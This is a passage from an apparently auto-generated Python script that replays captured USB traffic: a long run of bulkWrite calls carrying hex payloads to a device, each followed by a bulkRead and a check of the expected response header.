b\"\\xC1\\x14\\xE4\\x99\\x3F\\x0A\\x30\\x43\\x18\\x7B\\xB9\\xB1\\x66\\xA6\\x19\\x75\"\n b\"\\x44\\x73\\x10\\xE0\\xCB\\xB0\\x81\\x8F\\x79\\xFC\\x62\\x12\\xD6\\xA4\\x2C\\x3D\"\n b\"\\x27\\x2A\\x0A\\x96\\x20\\x63\\x4D\\x7C\\xA5\\x8A\\x10\\x98\\xA8\\xA7\\x8E\\x30\"\n b\"\\xED\\xAF\\x22\\x0A\\xD2\\x31\\x9B\\x4A\\x6D\\xF5\\xFB\\xB0\\x4B\\xD8\\x5B\\x98\"\n b\"\\x70\\x8A\\x18\\x65\\x88\\xB5\\xA6\\x5C\\x7C\\x26\\xDF\\x37\\xA7\\x75\\x36\\x91\"\n b\"\\x7D\\x66\\x1D\\xF5\\xEA\\x32\\x35\\x63\\xA1\\xA6\\x70\\x5F\\x67\\xDF\\x5A\\xCC\"\n b\"\\x63\\x4B\\x2C\\x7E\\xF7\\xC9\\xE0\\xBC\\x50\\x34\\xC3\\xEB\\xB3\\x34\\x67\\x1D\"\n b\"\\x7F\\x9A\\xE2\\x65\\x6E\\x48\\xC9\\xDF\\x80\\x4D\\x43\\x7E\\x7F\\x2A\\xCB\\xC7\"\n b\"\\x31\\x58\\x92\\x7B\\xF3\\xB0\\x98\\xCE\\x82\\xBE\\x35\\x52\\xD3\\x1C\\x2A\\x2B\"\n b\"\\xDF\\x10\\xE0\\x81\\xEE\\x28\\x44\\xA8\\x25\\x23\\x42\\x2E\\xAF\\x05\\x20\\x41\"\n b\"\\xF9\\xB9\\x95\\xFF\\x59\\xF5\\xC7\\xB5\\x9A\\x48\\x15\\xB9\\x36\\xEB\\x62\\x39\"\n b\"\\x86\\x89\\x03\\x86\\xBB\\x7E\\xFF\\x41\\xE8\\x8E\\x0B\\x37\\x18\\xB4\\x10\\x7B\"\n b\"\\x90\\x40\\xA5\\x2A\\xB0\\x1F\\x42\\x42\\x43\\xA1\\x7F\\x13\\x73\\x49\\x70\\xCD\"\n b\"\\x80\\x32\\xE6\\x87\\x1D\\x92\\x40\\x95\\xC8\\x0C\\x2E\\x9C\")\n # Generated from packet 2075/2076\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 2075/2076\")\n # Generated from packet 2077/2078\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xDB\\x54\\xDF\\x93\\x72\\x3A\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x9C\\xA5\\x37\\x3F\\xF8\\xB1\\x53\\x7E\"\n b\"\\xFD\\x0D\\x3B\\x7F\\xAA\\xB6\\x7B\\xA4\\x33\\xEC\\x89\\x99\\x9B\\xFF\\x91\\xA2\"\n b\"\\x96\\x3E\\x2B\\x2A\\xF6\\x82\\x4D\\x95\\x34\\xAC\\xA1\\x76\\xAF\\x6A\\x6C\\xA8\"\n b\"\\x5B\\x31\\x98\\xD5\\x00\\xC0\\xF4\\x8F\\xC9\\xF1\\xD1\\x70\\xDC\\x10\\xE8\\xA3\"\n b\"\\x2F\\xE0\\x32\\x46\\xBD\\x9B\\xCE\\xCD\\x0D\\x64\\xBC\\xA4\\x9D\\xD3\\xA2\\xA1\"\n b\"\\x25\\x06\\x68\\x4B\\xC5\\x78\\x76\\x7E\\xC8\\xE1\\xFB\\xC4\\x6F\\x09\\x08\\xB3\"\n b\"\\x03\\x3D\\x9C\\xB5\\x00\\x38\\x19\\x1F\\x85\\x1C\\xF9\\x13\\xFC\\xA4\\xAC\\x9C\"\n b\"\\x37\\xCF\\x6A\\x0F\\x96\\xFC\\xBF\\x73\\x63\\xA6\\xE9\\x47\\x8A\\xB5\\xA1\\x5E\"\n b\"\\x41\\xCB\\x9B\\x08\\x82\\x8F\\xBE\\x31\\xEC\\xD2\\x0F\\x13\\x91\\xB1\\x47\\xE8\"\n b\"\\x28\\x2A\\x77\\x30\\x32\\x34\\xA1\\x69\\x49\\x04\\xE4\\x74\\x36\\x32\\x7E\\x83\"\n b\"\\xBD\\x21\\xBD\\x80\\x8D\\xA5\\x6A\\x6E\\x1E\\x44\\x21\\x72\\x09\\xC9\\x34\\xC0\"\n b\"\\x23\\xDD\\x50\\x66\\x7B\\x6D\\x69\\x24\\x6F\\xF1\\x7A\\x4F\\xAF\\x73\\x90\\xE5\"\n b\"\\xAF\\x91\\xA8\\x6E\\x51\\x07\\xEC\\x43\\x25\\x67\\x1E\\x77\\xE1\\x45\\xEE\\x99\"\n b\"\\x85\\x3F\\x4B\\x9E\\x74\\x9C\\xD4\\x62\\xB7\\x64\\x8D\\xB0\\x61\\xC3\\x12\\xBC\"\n b\"\\x91\\xF3\\x33\\x96\\xF7\\x99\\x6E\\x8E\\xE2\\x9D\\xA1\\x60\\x55\\xBE\\xE1\\xAE\"\n b\"\\x59\\x8B\\x63\\xCC\\x2B\\x28\\x5A\\xBA\\x2C\\x9B\\xD8\\xD2\\x9C\\xE0\\xC2\\xC4\"\n b\"\\xEE\\x3D\\xEA\\xBF\\xFF\\xD1\\xAB\\x09\\xBA\\xB9\\x9A\\x85\")\n # Generated from packet 2079/2080\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 2079/2080\")\n # Generated from packet 2081/2082\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x8E\\x13\\x8C\\xFB\\x7B\\x00\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x0E\\x41\\x46\\x4B\\x18\\x74\\x8C\\x3F\"\n b\"\\x7A\\xFF\\xAA\\x17\\x1E\\x73\\xC6\\xF8\\xE5\\x2A\\x71\\x2D\\x73\\xA1\\x5A\\xF4\"\n b\"\\x5D\\x19\\x1C\\xB7\\xCB\\x57\\xD8\\x2D\\xE7\\xDC\\xD8\\x97\\x37\\xF0\\xCB\\xEA\"\n b\"\\xD6\\x24\\x63\\xBB\\xF5\\xE7\\xB3\\x78\\xA4\\x33\\x58\\x69\\xB6\\xAD\\x0E\\x06\"\n b\"\\xF2\\x44\\xB1\\xA4\\xD8\\xB1\\xCE\\x92\\xA0\\xDD\\x22\\x55\\x15\\x2E\\x77\\xA8\"\n b\"\\x1F\\x85\\x6D\\x2D\\x61\\xE2\\xA6\\x05\\x52\\xFA\\x36\\x52\\xF4\\xF8\\x10\\xEC\"\n b\"\\xDA\\xAE\\x13\\xC3\\xD1\\x73\\x4D\\x94\\x28\\xBD\\x55\\x26\\x1B\\x6F\\x57\\xE2\"\n b\"\\xA2\\x70\\x3E\\x89\\xA9\\x2C\\x02\\xFF\\x6C\\xCF\\xD6\\xB1\\xA3\\xAE\\x17\\xE6\"\n b\"\\xF4\\xF5\\x25\\x73\\xFE\\x66\\x66\\x35\\x10\\xB0\\x71\\xA6\\x13\\x64\\x88\\x21\"\n b\"\\x5C\\xAD\\xF2\\x48\\x7F\\xAD\\x8A\\x6E\\xA9\\x1C\\xD3\\x26\\xA2\\x8A\\x9B\\x97\"\n b\"\\x9F\\xDD\\x51\\xA4\\xF6\\xE8\\x46\\x73\\x4B\\xDD\\x00\\xD6\\x67\\x6A\\x52\\x09\"\n b\"\\xC8\\xF6\\x59\\x9F\\x61\\x16\\xA5\\x2E\\x56\\x43\\x28\\x82\\x29\\x3C\\x09\\x23\"\n b\"\\xA4\\xBE\\x2A\\xED\\x82\\x3A\\xD9\\x86\\xE6\\x60\\x5D\\xF8\\x67\\xF3\\x41\\x56\"\n b\"\\x01\\x41\\x2B\\x53\\xA3\\x37\\x34\\x30\\xC5\\xF0\\x79\\xF9\\x45\\x46\\xFA\\x59\"\n b\"\\x97\\x04\\x5A\\x60\\x81\\x5D\\x0F\\x90\\x8C\\x59\\x64\\x8E\\x6D\\x02\\xC7\\xFC\"\n b\"\\x29\\xE9\\x83\\x51\\xDE\\x7F\\x9B\\x00\\x59\\x23\\xDF\\x82\\x4D\\x99\\xDD\\xBB\"\n b\"\\x90\\x29\\xAB\\x63\\xB7\\xEA\\xF7\\x29\\xB3\\x94\\x36\\x5A\")\n # Generated from packet 2083/2084\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 2083/2084\")\n # Generated from packet 2085/2086\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x56\\x64\\x09\\xF4\\x14\\x60\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xFA\\x0E\\xF8\\x47\\xF2\\x13\\xD8\\xB9\"\n b\"\\xE0\\x92\\x8E\\x4D\\x05\\x08\\x7A\\xE7\\x2E\\x06\\x1D\\x3E\\xFC\\x9F\\x1B\\x6D\"\n b\"\\x1D\\xEC\\x5F\\x03\\x08\\x39\\x8B\\x6A\\x13\\xD7\\x85\\x60\\x0B\\x4C\\xE2\\x4F\"\n b\"\\xF6\\x30\\xE2\\x06\\x3B\\x9E\\xE3\\x47\\x72\\xD1\\x64\\xB4\\x05\\x45\\xE4\\x4E\"\n b\"\\xE0\\x41\\x1B\\xAD\\x6A\\x62\\x0E\\xC8\\x25\\x44\\x6C\\xCA\\x66\\xFD\\x6D\\x67\"\n b\"\\xAD\\xE3\\xD4\\x18\\xD6\\x88\\x4B\\x12\\xD5\\x9B\\x46\\xF3\\x5C\\x71\\x2A\\xEC\"\n b\"\\xF2\\xF6\\x75\\x99\\xF6\\x80\\xB6\\x75\\xA7\\xE2\\x43\\x45\\x3A\\x2B\\x70\\xDF\"\n b\"\\x3C\\x14\\x78\\xA2\\x62\\x7B\\x3D\\x9D\\x5A\\x00\\xB2\\x46\\x71\\xD0\\xC8\\x0A\"\n b\"\\x78\\x81\\xB6\\x17\\xF8\\xE1\\x72\\x29\\x1F\\xED\\xBD\\x75\\x17\\xB1\\x25\\x2A\"\n b\"\\xD1\\x96\\x5C\\x81\\x1B\\xCC\\xC6\\x8C\\x7F\\x56\\x7A\\xF6\\x45\\x63\\x83\\x7C\"\n b\"\\x4B\\x17\\x68\\x1E\\x2D\\xD3\\x6C\\x98\\xB4\\x6B\\x08\\x4C\\x6E\\x1F\\xF2\\xE5\"\n b\"\\xE8\\x06\\x6B\\x07\\x81\\xF6\\xCD\\xF5\\x8E\\x90\\xAD\\x83\\xC1\\x4A\\xD1\\x0F\"\n b\"\\xA1\\xA8\\xD7\\xA5\\x5F\\xB7\\xA4\\xF5\\x7F\\xEC\\x97\\x32\\x73\\xF5\\xBF\\x63\"\n b\"\\x6D\\x67\\xE4\\x7A\\x11\\xC3\\x76\\x3B\\x20\\xCE\\x18\\xB5\\xF8\\x78\\xC7\\x10\"\n b\"\\x8E\\x0F\\xE5\\x62\\xC1\\x56\\x58\\x7A\\xEE\\x9E\\xB0\\x16\\x32\\x6E\\x69\\x24\"\n b\"\\xB5\\x1F\\x4E\\x07\\xBC\\x33\\x26\\x0E\\xAF\\xC2\\xA9\\x70\\x4E\\xDF\\xC4\\xB8\"\n b\"\\x43\\x24\\x4F\\x37\\x87\\x2E\\x67\\x89\\xC5\\x96\\x35\\xB4\")\n # Generated from packet 2087/2088\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 2087/2088\")\n # Generated from packet 2089/2090\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x3C\\xE9\\x80\\x5E\\x99\\x0E\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xF9\\x91\\x91\\xC7\\x22\\x9B\\x05\\xDF\"\n b\"\\x25\\x97\\x7E\\xBE\\x23\\x73\\xD0\\x9B\\x5B\\x2E\\xC7\\xB0\\x8C\\x44\\xC7\\x2C\"\n b\"\\xFD\\xE9\\xD1\\x45\\x65\\x7C\\x80\\xF4\\x37\\xA4\\xB0\\x05\\x49\\xC6\\xEB\\xE4\"\n b\"\\xA6\\xC5\\xB7\\x5B\\x98\\x38\\x13\\xCD\\x7E\\xE2\\x4D\\x94\\x64\\x3B\\x55\\x26\"\n b\"\\x53\\x04\\x9F\\xAD\\x0E\\x49\\xE1\\x8C\\x22\\xB6\\xE2\\x8F\\x78\\xD8\\x78\\x1D\"\n b\"\\xB3\\x77\\x10\\xF8\\xF9\\xE7\\x39\\xB8\\x7A\\xBC\\x81\\x6D\\xDD\\xDF\\x78\\xBF\"\n b\"\\x4D\\x4D\\xB2\\x3B\\xD4\\x0C\\x87\\xF0\\x23\\x6C\\x84\\x8D\\xB2\\x34\\x18\\x1D\"\n b\"\\x7A\\x1A\\x89\\x06\\x55\\xCD\\xD8\\x55\\x1D\\x19\\x17\\x22\\x76\\x25\\x10\\xD8\"\n b\"\\xCC\\x7E\\x53\\x2D\\x0B\\x93\\x1C\\xA3\\xE5\\x61\\xBB\\x87\\x60\\xFA\\x8E\\x2A\"\n b\"\\x75\\xFD\\x0D\\xA1\\xF8\\x7F\\x2A\\xED\\xD6\\x1F\\x59\\xA6\\x25\\x90\\x2C\\x63\"\n b\"\\x35\\x11\\x53\\x78\\x5D\\x80\\x37\\x92\\x9B\\xEE\\x97\\x26\\x26\\xE3\\x43\\x89\"\n b\"\\x73\\xB5\\x1F\\x98\\x17\\x76\\xF6\\x2F\\x9D\\x8C\\x76\\x94\\xF4\\x17\\xDE\\xA6\"\n b\"\\x6C\\x75\\xD9\\x98\\x2A\\xDB\\x5E\\xFD\\xBE\\x31\\xCC\\xB2\\x9A\\x5C\\xA8\\x11\"\n b\"\\x11\\x58\\xD1\\x1A\\x9A\\xB0\\x67\\x7D\\x78\\x00\\x2A\\xDE\\x67\\xF7\\x59\\x75\"\n b\"\\xC7\\x20\\xC9\\xAA\\x52\\x50\\x57\\xC0\\xA7\\x14\\x7A\\x39\\xFE\\xD0\\x10\\xC1\"\n b\"\\x82\\x5E\\x9D\\xB8\\x94\\xDC\\x3E\\x06\\xCE\\x2D\\x4A\\xB9\\x7E\\x8F\\xCF\\x8D\"\n b\"\\x7F\\xF4\\xE3\\xBE\\xB0\\x71\\x9A\\xBF\\x61\\x7C\\x47\\x59\")\n # Generated from packet 2091/2092\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 2091/2092\")\n # Generated from packet 2093/2094\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x53\\x14\\x7F\\x14\\xCD\\x33\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xE9\\xBD\\x14\\x48\\x6B\\x1E\\xDA\\xE0\"\n b\"\\x67\\x3D\\xB2\\xE5\\xD8\\x79\\x44\\x9D\\xF0\\xCD\\x25\\x22\\xD3\\xA9\\x0C\\x78\"\n b\"\\x9D\\xF7\\xFA\\x7A\\xC7\\xF3\\x2C\\x62\\x67\\x67\\x23\\x2D\\x4F\\x22\\x69\\x0E\"\n b\"\\x68\\x57\\x17\\x5F\\x53\\x83\\x65\\xFD\\x93\\x20\\x05\\x94\\xFA\\xF4\\xC8\\x05\"\n b\"\\x26\\xB7\\xE4\\x99\\x42\\xEA\\xC8\\x05\\xF2\\xA2\\x4A\\x31\\x6D\\x29\\x8F\\xA5\"\n b\"\\xBE\\xBE\\xB8\\x0E\\x37\\x3A\\x53\\xAD\\xE8\\x89\\x4B\\xB1\\x6B\\x29\\xAB\\x55\"\n b\"\\x40\\x0F\\x16\\x98\\x47\\xEE\\xE6\\x6A\\x0F\\xD2\\xE0\\x20\\xCF\\x82\\x9E\\xD9\"\n b\"\\x74\\xCD\\xF7\\x2C\\x2C\\xB7\\x1B\\x9A\\x15\\xC0\\x13\\x48\\x04\\x73\\xED\\xD6\"\n b\"\\x83\\x6A\\xB0\\x61\\xF3\\x83\\xCE\\x35\\x57\\xD2\\xC2\\x69\\x1B\\xEA\\xB2\\xC1\"\n b\"\\xB1\\x55\\xB4\\xE1\\xAF\\x9E\\x1C\\x0F\\x59\\x33\\xD6\\x54\\x08\\x72\\x4A\\xD6\"\n b\"\\x3A\\x4F\\x6F\\x68\\xF3\\x13\\xE2\\x1C\\x2E\\x11\\xA3\\x47\\x34\\xA5\\x27\\x4A\"\n b\"\\xEE\\x37\\x3B\\x4B\\x8C\\x75\\xD7\\x96\\x32\\x56\\x4D\\x5F\\xC3\\x98\\x66\\xC9\"\n b\"\\x57\\x96\\xAB\\x89\\xC4\\x47\\x3D\\x9E\\x40\\x3A\\x90\\x23\\xC9\\x2A\\xCA\\x5B\"\n b\"\\x85\\xF2\\x5F\\x04\\xA1\\x35\\x0A\\xF8\\x7A\\x47\\x8E\\xD2\\x2C\\xD1\\x20\\x47\"\n b\"\\x9C\\xF2\\xC9\\x49\\x34\\x1F\\x5A\\x2B\\x0F\\xF9\\xE8\\xAD\\x31\\x10\\xBA\\x46\"\n b\"\\x8F\\xE9\\xDA\\xA8\\x5D\\xE1\\xE1\\xB0\\x18\\xC8\\x49\\xAB\\xCC\\xAF\\x68\\x7B\"\n b\"\\xB3\\x24\\x0F\\xE2\\x75\\x58\\x8E\\x5C\\xBF\\x16\\x97\\xFA\")\n # Generated from packet 2095/2096\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 2095/2096\")\n # Generated from packet 2097/2098\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x9A\\x54\\xAB\\x2E\\xD3\\x27\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xFF\\x81\\xEE\\x85\\x38\\xA6\\x93\\xAA\"\n b\"\\x73\\x57\\x70\\xBC\\xC1\\x9E\\x92\\xC3\\x0F\\x38\\x4B\\xDD\\x83\\xF7\\xA8\\xA9\"\n b\"\\x38\\x58\\xDA\\x90\\x5C\\x20\\x30\\x3A\\x6E\\xA0\\x80\\xB4\\xE0\\x42\\x12\\xDA\"\n b\"\\x7B\\x92\\x1F\\x82\\x14\\x5C\\xCC\\xD6\\x7B\\x36\\x47\\xBC\\xAD\\x41\\xC1\\x35\"\n b\"\\x43\\xA7\\x57\\xD7\\x39\\x76\\x17\\x67\\xEA\\xEE\\xB2\\xDD\\x94\\xF5\\x10\\x7B\"\n b\"\\x6F\\x77\\x3D\\xF3\\xB0\\x72\\xA6\\x2B\\xBF\\x1C\\x97\\x96\\xAB\\x2E\\x92\\xB2\"\n b\"\\xFD\\x61\\x08\\xA2\\xF7\\x34\\x1E\\x2F\\x88\\xF3\\xFB\\x2D\\x6B\\xED\\xEA\\xC4\"\n b\"\\xFC\\x06\\x33\\x8E\\xCF\\x96\\xF5\\x50\\xA2\\xD5\\xD1\\x0A\\x66\\x03\\x04\\x5B\"\n b\"\\x29\\x7D\\x52\\xE3\\x49\\x48\\x0C\\xE3\\x53\\x9C\\x66\\x69\\x37\\x56\\x6A\\x67\"\n b\"\\x30\\x82\\x7F\\x86\\x4A\\x68\\xFE\\xFE\\x11\\xEA\\x07\\x0B\\x4B\\x4D\\x77\\x42\"\n b\"\\x16\\x0B\\xA7\\xDC\\xDC\\x1D\\xE8\\x2F\\x94\\x42\\x7B\\x77\\x1A\\x19\\x91\\x96\"\n b\"\\xA8\\x10\\x28\\xB8\\xC2\\xC9\\xEB\\x34\\xD1\\x55\\x29\\x7D\\x37\\x12\\xAE\\xB6\"\n b\"\\x79\\x98\\xD9\\x22\\xF7\\x90\\xB9\\x4D\\x89\\xD8\\x33\\x76\\x18\\x96\\xE9\\xE1\"\n b\"\\xB3\\xBA\\x51\\x3D\\xDF\\x66\\xF9\\xBF\\xDA\\x18\\xB2\\xC5\\xDB\\xEF\\xF5\\xF3\"\n b\"\\xF1\\x1F\\x67\\x03\\x76\\x94\\xD1\\x48\\x83\\x97\\xD2\\x1F\\xC3\\xFA\\x5F\\x59\"\n b\"\\x6F\\x7F\\xDD\\xE2\\x18\\xE0\\xE5\\xB2\\xD6\\x99\\xE1\\x5F\\xBB\\xA4\\xE1\\xB4\"\n b\"\\x62\\x5F\\xF2\\x59\\x86\\x46\\x9D\\xEE\\xF9\\x0A\\x9E\\x14\")\n # Generated from packet 2099/2100\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 2099/2100\")\n # Generated from packet 2101/2102\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xEE\\xC8\\x6F\\x6B\\x0D\\x7F\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xF7\\x36\\x7D\\xA2\\x67\\x82\\xD2\\x53\"\n b\"\\x4A\\x4B\\x27\\xCA\\x7A\\x92\\x45\\xF7\\x17\\x50\\x3E\\x22\\xBB\\xE2\\x5D\\x0E\"\n b\"\\xC0\\x0F\\xB6\\xCA\\x12\\x8E\\x90\\x5D\\x37\\xC2\\x25\\xB6\\x97\\xE8\\x86\\x40\"\n b\"\\xAB\\xA9\\xBA\\x7F\\x45\\x10\\x9E\\xB8\\x6F\\x67\\x14\\x7D\\x01\\x49\\xF4\\xBA\"\n b\"\\x44\\x12\\xF9\\x8A\\xA0\\xB2\\x17\\x3A\\x83\\x9E\\xC4\\x4A\\xB6\\x94\\xB9\\x84\"\n b\"\\xF2\\x4A\\x7D\\x74\\x66\\x51\\x14\\xFF\\x26\\x59\\xC7\\xD5\\xBF\\xE7\\x3D\\x9F\"\n b\"\\x6D\\x6B\\x52\\x36\\x0D\\xA5\\x0D\\x1E\\x5B\\x6C\\x5D\\x07\\x1F\\xAA\\x1B\\x35\"\n b\"\\x63\\x78\\x22\\xCB\\xCF\\x0E\\x78\\x92\\x0F\\xCC\\x9F\\xF4\\x38\\x2D\\xCA\\xC5\"\n b\"\\x4E\\xED\\x50\\x2D\\xEF\\x90\\x13\\xFB\\x28\\xBC\\x1C\\x4C\\x0F\\x2E\\xE9\\x0A\"\n b\"\\x47\\xD7\\x7A\\xEC\\x24\\xE2\\xB5\\x73\\x98\\x0C\\x3B\\x31\\xE1\\x7D\\xA7\\xFA\"\n b\"\\x3F\\x72\\x33\\x2B\\xB0\\x35\\x5C\\xBD\\xBC\\x02\\xD7\\xA5\\x6C\\xB7\\xF1\\x74\"\n b\"\\xF3\\xB0\\xA5\\x1A\\xEC\\x36\\xE3\\xF5\\x19\\xB2\\x31\\x46\\x15\\x64\\xA0\\x07\"\n b\"\\xFE\\x37\\x89\\x78\\xAE\\xCC\\xF8\\x3E\\x9D\\x54\\x01\\x8A\\x2C\\x43\\x10\\xB0\"\n b\"\\x6B\\xC5\\xCF\\xBF\\x20\\x0D\\xAA\\x21\\xD9\\x2A\\x4C\\x6F\\x35\\x82\\xEA\\xC4\"\n b\"\\x1E\\x10\\xF4\\xD8\\xB2\\xD8\\xAA\\x4E\\x36\\x6F\\xC2\\xD3\\x2C\\x0F\\x22\\x21\"\n b\"\\x85\\x79\\x79\\xBF\\xA6\\xE0\\x27\\x1F\\xC5\\x8E\\x25\\xB0\\x3E\\xE3\\x3A\\x98\"\n b\"\\x5C\\x91\\xFD\\xB4\\xAE\\x96\\xC5\\xFE\\x49\\xCD\\xFF\\xB9\")\n # Generated from packet 2103/2104\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 2103/2104\")\n # Generated from packet 2105/2106\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x13\\x81\\xF2\\xFC\\xF0\\x04\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x23\\xE1\\x00\\x6A\\x8E\\x43\\xA5\\x8A\"\n b\"\\xD2\\xB4\\x5F\\x44\\x1E\\x5A\\xBD\\x19\\xF1\\xA2\\xD8\\xEF\\xD9\\xDF\\x2D\\x67\"\n b\"\\x7E\\x68\\x66\\xED\\x4D\\x5B\\x8D\\x2F\\x6C\\xF8\\x7C\\x4D\\x02\\x50\\xDE\\xAC\"\n b\"\\xA8\\x8D\\x28\\xE7\\xCA\\x16\\x81\\x52\\x8E\\xFC\\x6D\\x3B\\xC4\\x9D\\xA0\\x31\"\n b\"\\xEF\\x2C\\x2A\\xBF\\x8C\\x8E\\x3D\\x68\\x96\\x55\\xF0\\x89\\x86\\x77\\x1E\\x6A\"\n b\"\\x21\\xE9\\x95\\x46\\x67\\x58\\xAB\\x9D\\x5D\\x3D\\x9B\\x22\\x09\\xC8\\x39\\x6D\"\n b\"\\x9B\\xAD\\x79\\x03\\x01\\x86\\xF8\\x7A\\x37\\x81\\x8D\\xC0\\xFF\\x50\\xB4\\x92\"\n b\"\\x2B\\xB1\\xC5\\x23\\x22\\x0C\\x7B\\xF8\\xBC\\xC2\\x75\\xD8\\x0D\\xA5\\x4F\\x30\"\n b\"\\x80\\x00\\xC2\\xD3\\x9D\\x2C\\x73\\x71\\x43\\x1A\\xD3\\xCD\\xD4\\x7B\\x89\\xD4\"\n b\"\\xF7\\x15\\xAD\\xBF\\x23\\x84\\x6C\\x94\\xC3\\xAC\\x3B\\x94\\x8E\\x19\\xDC\\x83\"\n b\"\\xB0\\x5A\\x9C\\xB5\\x47\\xE4\\xCA\\x17\\x5D\\x9C\\x5B\\xF1\\xB8\\x76\\x87\\x16\"\n b\"\\x95\\xD9\\x0D\\xEE\\x6F\\x06\\x46\\xF0\\xB6\\x3E\\xD7\\x77\\x79\\x6C\\xCA\\xB9\"\n b\"\\x65\\x80\\xE5\\x17\\x3D\\xD8\\x04\\x03\\xEF\\x11\\x3B\\x7C\\xB1\\xCD\\xE5\\x1D\"\n b\"\\x5E\\xD6\\x0A\\x7B\\x32\\x51\\x3C\\xC8\\xC6\\xCE\\xF8\\xE3\\xCC\\x46\\x3D\\x0A\"\n b\"\\xC1\\x7A\\x61\\x6B\\x94\\x43\\xE1\\x5D\\x0A\\xD7\\x08\\xBA\\x65\\xF1\\x77\\xAA\"\n b\"\\x78\\xAE\\x96\\x7C\\x1C\\x21\\xDA\\x43\\x25\\xFB\\xF3\\x19\\xC0\\x0F\\xAD\\x7D\"\n b\"\\xFF\\xC3\\xCB\\x4B\\xFE\\x6B\\xCD\\x95\\x3A\\x01\\x2B\\x8A\")\n # Generated from packet 2107/2108\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 2107/2108\")\n # Generated from packet 2109/2110\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xF7\\x46\\x3F\\xBC\\x44\\x20\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x03\\xB6\\x2F\\x8C\\x02\\x54\\xDD\\xEE\"\n b\"\\xA4\\x41\\xC9\\xE3\\x1D\\x52\\x5B\\x90\\x82\\x5B\\x56\\x46\\xA2\\xC7\\xE6\\x81\"\n b\"\\xCA\\x42\\xD4\\x15\\x36\\xE0\\x1B\\x6C\\xAD\\x20\\xCC\\x52\\x30\\xBF\\xE6\\x6D\"\n b\"\\xBC\\x35\\x3D\\x23\\x68\\x71\\xF6\\x78\\x7D\\x61\\x5B\\xCA\\x90\\x56\\xF3\\x17\"\n b\"\\x30\\xE0\\xFF\\x00\\x92\\x67\\xC3\\xAF\\xE9\\x56\\x6B\\x0B\\x1F\\x71\\x5E\\xB7\"\n b\"\\xA7\\xAD\\x6B\\x37\\x9E\\x8E\\x2E\\x63\\x2F\\x5E\\x8B\\x9D\\xF1\\x4F\\x1A\\x7C\"\n b\"\\x28\\x0B\\x70\\x0C\\x98\\x48\\xE7\\xBA\\x4B\\xDB\\xCA\\xFB\\x89\\x47\\x19\\xBA\"\n b\"\\x7A\\x67\\xB1\\x6A\\x4D\\xE0\\xB9\\x96\\x2E\\x53\\xFD\\xED\\x9B\\x37\\xD7\\x8D\"\n b\"\\xD2\\x04\\xC5\\x97\\xD5\\x01\\x35\\x15\\xFD\\x04\\x65\\xF5\\xA6\\x6E\\xDA\\xAA\"\n b\"\\x70\\xAC\\x61\\x08\\x6B\\xF5\\x01\\x52\\x15\\xE5\\xBD\\x77\\x01\\xBE\\xE5\\x7A\"\n b\"\\x04\\x9B\\x0A\\xB4\\xCC\\x72\\x45\\x7B\\xFB\\xA6\\xF8\\x45\\xC6\\x77\\xE8\\xE7\"\n b\"\\x43\\x5F\\xF9\\x11\\x3C\\x00\\x2E\\x9C\\xF1\\x80\\x93\\xB7\\xD0\\xDF\\x70\\xC5\"\n b\"\\xAA\\x5B\\xE8\\xE7\\x47\\x78\\xB3\\x3C\\x5A\\x50\\x3D\\x83\\xD0\\xFE\\x1E\\x3B\"\n b\"\\xF6\\x06\\x30\\xFD\\xC8\\x42\\x49\\x0B\\x63\\xC3\\xF7\\x90\\xC9\\x75\\xAE\\x43\"\n b\"\\x3A\\xDB\\xE6\\xFF\\x58\\x7F\\xAB\\x83\\xDF\\xBA\\xCB\\x20\\xA0\\xEC\\xC5\\xFA\"\n b\"\\x13\\xBC\\x39\\xE2\\x47\\x00\\x58\\x48\\x5D\\x1E\\x74\\x8C\\xD0\\xE8\\xC2\\x32\"\n 